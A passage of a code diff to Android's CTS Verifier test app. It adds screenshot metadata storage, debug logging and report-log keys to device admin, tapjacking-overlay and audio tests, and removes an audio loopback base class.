+     * @param context application context
+     * @param testName corresponding test name
+     * @param screenshotsMetadata A {@link TestScreenshotsMetadata} set that contains metadata
+     */
+    public static void updateColumnTestScreenshotsMetadata(
+            Context context, String testName, TestScreenshotsMetadata screenshotsMetadata) {
+        ContentValues values = new ContentValues(2);
+        values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
+        values.put(
+                TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
+                serialize(screenshotsMetadata));
+        final Uri uri = getResultContentUri(context);
+        ContentResolver resolver = context.getContentResolver();
+        int numUpdated = resolver.update(
+                uri, values, TestResultsProvider.COLUMN_TEST_NAME + " = ?",
+                new String[]{ testName });
+        if (numUpdated == 0) {
+            resolver.insert(uri, values);
+        }
+
+    }
+
     private static byte[] serialize(Object o) {
         ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
         ObjectOutputStream objectOutput = null;
@@ -409,7 +451,8 @@
                     + COLUMN_TEST_INFO_SEEN + " INTEGER DEFAULT 0,"
                     + COLUMN_TEST_DETAILS + " TEXT,"
                     + COLUMN_TEST_METRICS + " BLOB,"
-                    + COLUMN_TEST_RESULT_HISTORY + " BLOB);");
+                    + COLUMN_TEST_RESULT_HISTORY + " BLOB,"
+                    + COLUMN_TEST_SCREENSHOTS_METADATA + " BLOB);");
         }
 
         @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 03438e3..e31e4a3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -28,6 +28,7 @@
 import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.TestResultHistory;
+import com.android.compatibility.common.util.TestScreenshotsMetadata;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
@@ -168,6 +169,12 @@
                             getTestResultHistories(historyCollection);
                         currentTestResult.setTestResultHistories(leafTestHistories);
                     }
+
+                    TestScreenshotsMetadata screenshotsMetadata = mAdapter
+                            .getScreenshotsMetadata(displayMode, i);
+                    if (screenshotsMetadata != null) {
+                        currentTestResult.setTestScreenshotsMetadata(screenshotsMetadata);
+                    }
                 }
             }
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
index 5dfe1f7..e5b5710 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminUninstallTestActivity.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.provider.Settings;
+import android.util.Log;
 import android.view.View;
 import android.widget.Button;
 import android.widget.ImageView;
@@ -67,9 +68,13 @@
     private final BroadcastReceiver mPackageAddedListener = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
-            final Uri uri = intent.getData();
+            Log.d(TAG, "onReceive(): " + intent);
+            Uri uri = intent.getData();
             if (uri != null && ADMIN_PACKAGE_NAME.equals(uri.getSchemeSpecificPart())) {
                 onAdminPackageInstalled();
+            } else {
+                Log.d(TAG, "ignoring intent with URI " + uri + " (expecting it to be for "
+                        + ADMIN_PACKAGE_NAME + ")");
             }
         }
     };
@@ -91,6 +96,9 @@
             mAdminInstalled = isPackageInstalled(ADMIN_PACKAGE_NAME);
             mAdminActivated = mDevicePolicyManager.isAdminActive(mAdmin);
         }
+        Log.d(TAG, "onCreate(): mAdmin=" + mAdmin + ", pkg= " + ADMIN_PACKAGE_NAME
+                + ", mAdminInstalled=" + mAdminInstalled + ", mAdminRemoved=" + mAdminRemoved
+                + ", mAdminActivated=" + mAdminActivated);
         mInstallStatus = findViewById(R.id.install_admin_status);
         mInstallAdminText = findViewById(R.id.install_admin_instructions);
         if (!mAdminInstalled) {
@@ -109,6 +117,7 @@
     }
 
     private void onAdminPackageInstalled() {
+        Log.d(TAG, "onAdminPackageInstalled()");
         mAdminInstalled = true;
         updateWidgets();
         unregisterReceiver(mPackageAddedListener);
@@ -120,6 +129,7 @@
             packageInfo = getPackageManager().getPackageInfo(packageName, 0);
         } catch (PackageManager.NameNotFoundException exc) {
             // Expected.
+            Log.d(TAG, "getPackageInfo(" + packageName + ") failed: " + exc);
         }
         return packageInfo != null;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
@@ -1,6 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
index 9b54ed3..5fe1f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
@@ -16,10 +16,6 @@
 
 package com.android.cts.verifier.admin;
 
-import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
 import android.app.AlertDialog;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -29,6 +25,7 @@
 import android.content.SharedPreferences.Editor;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.view.ViewGroup;
@@ -37,6 +34,10 @@
 import android.widget.TextView;
 import android.widget.Toast;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Random;
@@ -47,7 +48,9 @@
  * returning to the test, the activity checks that the device manager is reporting the values
  * it set before the user rebooted the device.
  */
-public class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+public final class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+
+    private static final String TAG = PolicySerializationTestActivity.class.getSimpleName();
 
     /**
      * Whether or not to load the expected policy from the preferences and check against
@@ -87,18 +90,16 @@
         });
 
         mApplyPolicyButton = findViewById(R.id.apply_policy_button);
-        mApplyPolicyButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                applyPolicy();
-            }
-        });
+        mApplyPolicyButton.setOnClickListener((v) -> applyPolicy());
 
         if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
             mPolicyItems.add(new MaximumFailedPasswordsForWipePolicy(this));
         }
 
         mPolicyItems.add(new MaximumTimeToLockPolicy(this));
+
+        Log.d(TAG, "onCreate(): " + mPolicyItems.size() + " policy items: " + mPolicyItems);
+
         mAdapter = new PolicyAdapter(this);
         setListAdapter(mAdapter);
 
@@ -113,8 +114,11 @@
             for (PolicyItem<?> item : mPolicyItems) {
                 item.loadExpectedValue(prefs);
                 item.loadActualValue(mDevicePolicyManager, mAdmin);
+                Log.d(TAG, "loading " + item);
                 mAdapter.add(item);
             }
+        } else {
+            Log.d(TAG, "loadPolicy(): " + LOAD_EXPECTED_POLICY_PREFERENCE + " is false");
         }
     }
 
@@ -122,6 +126,7 @@
         Random random = new Random();
         mAdapter.clear();
         for (PolicyItem<?> item : mPolicyItems) {
+            Log.d(TAG, "Adding " + item);
             item.setRandomExpectedValue(random);
             item.resetActualValue();
             mAdapter.add(item);
@@ -130,6 +135,7 @@
         SharedPreferences prefs = getPreferences(MODE_PRIVATE);
         SharedPreferences.Editor editor = prefs.edit();
         editor.clear();
+        Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to false");
         editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, false);
         editor.apply();
 
@@ -140,12 +146,15 @@
         Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
         intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
                 DeviceAdminTestReceiver.getReceiverComponentName());
+        Log.d(TAG, "Starting " + intent);
         startActivityForResult(intent, ADD_DEVICE_ADMIN_REQUEST_CODE);
     }
 
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
+        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", resp=" + resultCode);
+
         switch (requestCode) {
             case ADD_DEVICE_ADMIN_REQUEST_CODE:
                 handleAddDeviceAdminResult(resultCode, data);
@@ -154,22 +163,25 @@
     }
 
     private void handleAddDeviceAdminResult(int resultCode, Intent data) {
-        if (resultCode == RESULT_OK) {
-            ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
-            for (PolicyItem<?> item : mPolicyItems) {
-                item.applyExpectedValue(mDevicePolicyManager, admin);
-            }
-
-            SharedPreferences prefs = getPreferences(MODE_PRIVATE);
-            SharedPreferences.Editor editor = prefs.edit();
-            editor.clear();
-            editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
-            for (PolicyItem<?> item : mPolicyItems) {
-                item.saveExpectedValue(editor);
-            }
-            editor.apply();
-            showRebootDialog();
+        if (resultCode != RESULT_OK) {
+            Log.w(TAG, "handleAddDeviceAdminResult(): invalid result: " + resultCode);
+            return;
         }
+        ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
+        for (PolicyItem<?> item : mPolicyItems) {
+            item.applyExpectedValue(mDevicePolicyManager, admin);
+        }
+
+        SharedPreferences prefs = getPreferences(MODE_PRIVATE);
+        SharedPreferences.Editor editor = prefs.edit();
+        editor.clear();
+        Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to true");
+        editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
+        for (PolicyItem<?> item : mPolicyItems) {
+            item.saveExpectedValue(editor);
+        }
+        editor.apply();
+        showRebootDialog();
     }
 
     private void showRebootDialog() {
@@ -210,7 +222,7 @@
             .show();
     }
 
-    static class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
+    private static final class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
 
         public PolicyAdapter(Context context) {
             super(context, android.R.layout.simple_list_item_1);
@@ -241,7 +253,7 @@
         }
     }
 
-    interface PolicyItem<T> {
+    private interface PolicyItem<T> {
 
         void setRandomExpectedValue(Random random);
 
@@ -268,7 +280,7 @@
         boolean matchesExpectedValue();
     }
 
-    static abstract class BasePolicyItem<T> implements PolicyItem<T> {
+    private abstract static class BasePolicyItem<T> implements PolicyItem<T> {
         private String mDisplayName;
         private T mExpectedValue;
         private T mActualValue;
@@ -287,6 +299,7 @@
         @Override
         public final void loadExpectedValue(SharedPreferences prefs) {
             mExpectedValue = getPreferencesValue(prefs);
+            Log.d(TAG, "loaded expected value for " + mDisplayName + ": " + mExpectedValue);
         }
 
         protected abstract T getPreferencesValue(SharedPreferences prefs);
@@ -301,6 +314,7 @@
 
         @Override
         public final void resetActualValue() {
+            Log.d(TAG, "resetting " + mDisplayName);
             mActualValue = null;
         }
 
@@ -344,7 +358,7 @@
         }
     }
 
-    static abstract class IntegerPolicyItem extends BasePolicyItem<Integer> {
+    private abstract static class IntegerPolicyItem extends BasePolicyItem<Integer> {
 
         private String mPreferenceKey;
 
@@ -355,16 +369,20 @@
 
         @Override
         protected final Integer getPreferencesValue(SharedPreferences prefs) {
-            return prefs.getInt(mPreferenceKey, -1);
+            int value = prefs.getInt(mPreferenceKey, -1);
+            Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            return value;
         }
 
         @Override
         public final void saveExpectedValue(Editor editor) {
-            editor.putInt(mPreferenceKey, getExpectedValue());
+            int value = getExpectedValue();
+            Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            editor.putInt(mPreferenceKey, value);
         }
     }
 
-    static abstract class LongPolicyItem extends BasePolicyItem<Long> {
+    private abstract static class LongPolicyItem extends BasePolicyItem<Long> {
 
         private String mPreferenceKey;
 
@@ -375,89 +393,20 @@
 
         @Override
         protected final Long getPreferencesValue(SharedPreferences prefs) {
-            return prefs.getLong(mPreferenceKey, -1);
+            long value = prefs.getLong(mPreferenceKey, -1);
+            Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            return value;
         }
 
         @Override
         public final void saveExpectedValue(Editor editor) {
-            editor.putLong(mPreferenceKey, getExpectedValue());
+            long value = getExpectedValue();
+            Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+            editor.putLong(mPreferenceKey, value);
         }
     }
 
-    static class PasswordQualityPolicy extends IntegerPolicyItem {
-
-        private final Context mContext;
-
-        public PasswordQualityPolicy(Context context) {
-            super(context, R.string.da_password_quality, "password-quality");
-            mContext = context;
-        }
-
-        @Override
-        protected Integer getRandomExpectedValue(Random random) {
-            int[] passwordQualities = new int[] {
-                    DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
-                    DevicePolicyManager.PASSWORD_QUALITY_SOMETHING
-            };
-
-            int index = random.nextInt(passwordQualities.length);
-            return passwordQualities[index];
-        }
-
-        @Override
-        public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
-            deviceManager.setPasswordQuality(admin, getExpectedValue());
-        }
-
-        @Override
-        protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
-                ComponentName admin) {
-            return deviceManager.getPasswordQuality(admin);
-        }
-
-        @Override
-        protected String getDisplayValue(Integer value) {
-            switch (value) {
-                case DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC:
-                    return mContext.getString(R.string.da_password_quality_alphabetic);
-                case DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC:
-                    return mContext.getString(R.string.da_password_quality_alphanumeric);
-                case DevicePolicyManager.PASSWORD_QUALITY_NUMERIC:
-                    return mContext.getString(R.string.da_password_quality_numeric);
-                case DevicePolicyManager.PASSWORD_QUALITY_SOMETHING:
-                    return mContext.getString(R.string.da_password_quality_something);
-                default:
-                    return Integer.toString(value);
-            }
-        }
-    }
-
-    static class PasswordMinimumLengthPolicy extends IntegerPolicyItem {
-
-        PasswordMinimumLengthPolicy(Context context) {
-            super(context, R.string.da_password_minimum_length, "password-minimum-length");
-        }
-
-        @Override
-        protected Integer getRandomExpectedValue(Random random) {
-            return random.nextInt(50);
-        }
-
-        @Override
-        public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
-            deviceManager.setPasswordMinimumLength(admin, getExpectedValue());
-        }
-
-        @Override
-        protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
-                ComponentName admin) {
-            return deviceManager.getPasswordMinimumLength(admin);
-        }
-    }
-
-    static class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
+    private static final class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
 
         MaximumFailedPasswordsForWipePolicy(Context context) {
             super(context, R.string.da_maximum_failed_passwords_for_wipe,
@@ -481,7 +430,7 @@
         }
     }
 
-    static class MaximumTimeToLockPolicy extends LongPolicyItem {
+    private static final class MaximumTimeToLockPolicy extends LongPolicyItem {
 
         MaximumTimeToLockPolicy(Context context) {
             super(context, R.string.da_maximum_time_to_lock, "maximum-time-to-lock");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
index e81f301..da336c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -21,8 +21,9 @@
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
 
+import static com.android.cts.verifier.features.FeatureUtil.isWatchOrAutomotive;
+
 import android.app.Activity;
-import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.view.WindowManager;
 
@@ -31,7 +32,7 @@
 
 public class OverlayingActivity extends Activity {
 
-    private static final long ACTIVITY_TIMEOUT_ON_WATCH = 10_000;
+    private static final long ACTIVITY_TIMEOUT = 10_000;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -40,9 +41,11 @@
         WindowManager.LayoutParams params = getWindow().getAttributes();
         params.flags = FLAG_LAYOUT_NO_LIMITS | FLAG_NOT_TOUCH_MODAL | FLAG_NOT_TOUCHABLE
                 | FLAG_KEEP_SCREEN_ON;
-        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+
+        if (isWatchOrAutomotive(this)) {
+            // Automatically finish the overlaying activity after a timeout.
             getWindow().getDecorView().postDelayed(() -> OverlayingActivity.this.finish(),
-                    ACTIVITY_TIMEOUT_ON_WATCH);
+                    ACTIVITY_TIMEOUT);
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 4ce2a12..37921e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -52,6 +52,9 @@
 import org.hyphonate.megaaudio.player.PlayerBuilder;
 import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
 public class AnalogHeadsetAudioActivity
         extends PassFailButtons.Activity
         implements View.OnClickListener {
@@ -105,6 +108,17 @@
 
     JavaPlayer mAudioPlayer;
 
+    // ReportLog Schema
+    private static final String SECTION_ANALOG_HEADSET = "analog_headset_activity";
+    private static final String KEY_HAS_HEADSET_PORT = "has_headset_port";
+    private static final String KEY_HEADSET_PLUG_INTENT_STATE = "intent_received_state";
+    private static final String KEY_CLAIMS_HEADSET_PORT = "claims_headset_port";
+    private static final String KEY_HEADSET_CONNECTED = "headset_connected";
+    private static final String KEY_KEYCODE_HEADSETHOOK = "keycode_headset_hook";
+    private static final String KEY_KEYCODE_PLAY_PAUSE = "keycode_play_pause";
+    private static final String KEY_KEYCODE_VOLUME_UP = "keycode_volume_up";
+    private static final String KEY_KEYCODE_VOLUME_DOWN = "keycode_volume_down";
+
     public AnalogHeadsetAudioActivity() {
         super();
     }
@@ -186,10 +200,26 @@
         }
     }
 
+    //
+    // PassFailButtons Overrides
+    //
+    @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, SECTION_ANALOG_HEADSET);
+    }
+
+    @Override
+    public void recordTestResults() {
+        getReportLog().submit();
+    }
+
     private void reportHeadsetPort(boolean has) {
         mHasHeadsetPort = has;
         getReportLog().addValue(
-                "User Reports Headset Port",
+                KEY_HAS_HEADSET_PORT,
                 has ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -247,7 +277,7 @@
         }
 
         getReportLog().addValue(
-                "ACTION_HEADSET_PLUG Intent Received. State: ",
+                KEY_HEADSET_PLUG_INTENT_STATE,
                 state,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -264,7 +294,7 @@
         getPassButton().setEnabled(calculatePass());
 
         getReportLog().addValue(
-                "User reported headset/headphones playback",
+                KEY_CLAIMS_HEADSET_PORT,
                 success ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -389,17 +419,18 @@
             if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
                     devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
                 mHeadsetDeviceInfo = devInfo;
-
-                getReportLog().addValue(
-                        (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
-                                ? "Headset" : "Headphones") + " connected",
-                        0,
-                        ResultType.NEUTRAL,
-                        ResultUnit.NONE);
                 break;
             }
         }
 
+        reportHeadsetPort(mHeadsetDeviceInfo != null);
+
+        getReportLog().addValue(
+                KEY_HEADSET_CONNECTED,
+                mHeadsetDeviceInfo != null ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
         showConnectedDevice();
     }
 
@@ -443,7 +474,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_HEADSETHOOK", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_HEADSETHOOK, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
@@ -451,7 +482,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_MEDIA_PLAY_PAUSE", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_PLAY_PAUSE, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_VOLUME_UP:
@@ -459,7 +490,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_VOLUME_UP", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_VOLUME_UP, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_VOLUME_DOWN:
@@ -467,7 +498,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_VOLUME_DOWN", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_VOLUME_DOWN, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
         }
         return super.onKeyDown(keyCode, event);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
deleted file mode 100644
index 78e34d3..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.app.AlertDialog;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.MediaRecorder;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ProgressBar;
-import android.widget.SeekBar;
-import android.widget.TextView;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
-import com.android.cts.verifier.audio.audiolib.StatUtils;
-import com.android.cts.verifier.audio.audiolib.AudioUtils;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
-/**
- * Base class for testing activitiees that require audio loopback hardware..
- */
-public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
-    private static final String TAG = "AudioLoopbackBaseActivity";
-
-    // JNI load
-    static {
-        try {
-            System.loadLibrary("audioloopback_jni");
-        } catch (UnsatisfiedLinkError e) {
-            Log.e(TAG, "Error loading Audio Loopback JNI library");
-            Log.e(TAG, "e: " + e);
-            e.printStackTrace();
-        }
-
-        /* TODO: gracefully fail/notify if the library can't be loaded */
-    }
-    protected AudioManager mAudioManager;
-
-    // UI
-    TextView mInputDeviceTxt;
-    TextView mOutputDeviceTxt;
-
-    TextView mAudioLevelText;
-    SeekBar mAudioLevelSeekbar;
-
-    TextView mTestPathTxt;
-
-    TextView mResultText;
-    ProgressBar mProgressBar;
-    int mMaxLevel;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    protected Button mTestButton;
-
-    String mYesString;
-    String mNoString;
-
-    // These flags determine the maximum allowed latency
-    private boolean mClaimsProAudio;
-    private boolean mClaimsOutput;
-    private boolean mClaimsInput;
-
-    // Useful info
-    private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
-    private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
-
-    // Peripheral(s)
-    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
-    AudioDeviceInfo mOutputDevInfo;
-    AudioDeviceInfo mInputDevInfo;
-
-    protected static final int TESTPERIPHERAL_INVALID       = -1;
-    protected static final int TESTPERIPHERAL_NONE          = 0;
-    protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
-    protected static final int TESTPERIPHERAL_USB           = 2;
-    protected static final int TESTPERIPHERAL_DEVICE        = 3; // device speaker + mic
-    protected int mTestPeripheral = TESTPERIPHERAL_NONE;
-
-    // Loopback Logic
-    NativeAnalyzerThread mNativeAnalyzerThread = null;
-
-    protected static final int NUM_TEST_PHASES = 5;
-    protected int mTestPhase = 0;
-
-    protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
-    protected double[] mConfidence = new double[NUM_TEST_PHASES];
-
-    protected double mMeanLatencyMillis;
-    protected double mMeanAbsoluteDeviation;
-    protected double mMeanConfidence;
-
-    protected static final double CONFIDENCE_THRESHOLD = 0.6;
-    // impossibly low latencies (indicating something in the test went wrong).
-    protected static final float EPSILON = 1.0f;
-    protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
-    protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
-    protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
-    protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
-    protected static final double BASIC_MUST_LATENCY_MS = 800.0;
-    protected double mMustLatency;
-    protected double mRecommendedLatency;
-
-    // The audio stream callback threads should stop and close
-    // in less than a few hundred msec. This is a generous timeout value.
-    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
-
-    //
-    // Common UI Handling
-    //
-    private void connectLoopbackUI() {
-        // Connected Device
-        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
-        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
-
-        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
-        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
-        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setMax(mMaxLevel);
-        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
-        refreshLevel();
-
-        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
-            @Override
-            public void onStopTrackingTouch(SeekBar seekBar) {}
-
-            @Override
-            public void onStartTrackingTouch(SeekBar seekBar) {}
-
-            @Override
-            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
-                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
-                        progress, 0);
-                Log.i(TAG,"Level set to: " + progress);
-                refreshLevel();
-            }
-        });
-
-        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
-        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
-        showWait(false);
-    }
-
-    //
-    // Peripheral Connection Logic
-    //
-    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
-        // CDD Section C-1-3: USB port, host-mode support
-
-        // Can't just use the first record because then we will only get
-        // Source OR sink, not both even on devices that are both.
-        mOutputDevInfo = null;
-        mInputDevInfo = null;
-
-        // Any valid peripherals
-        // Do we leave in the Headset test to support a USB-Dongle?
-        for (AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
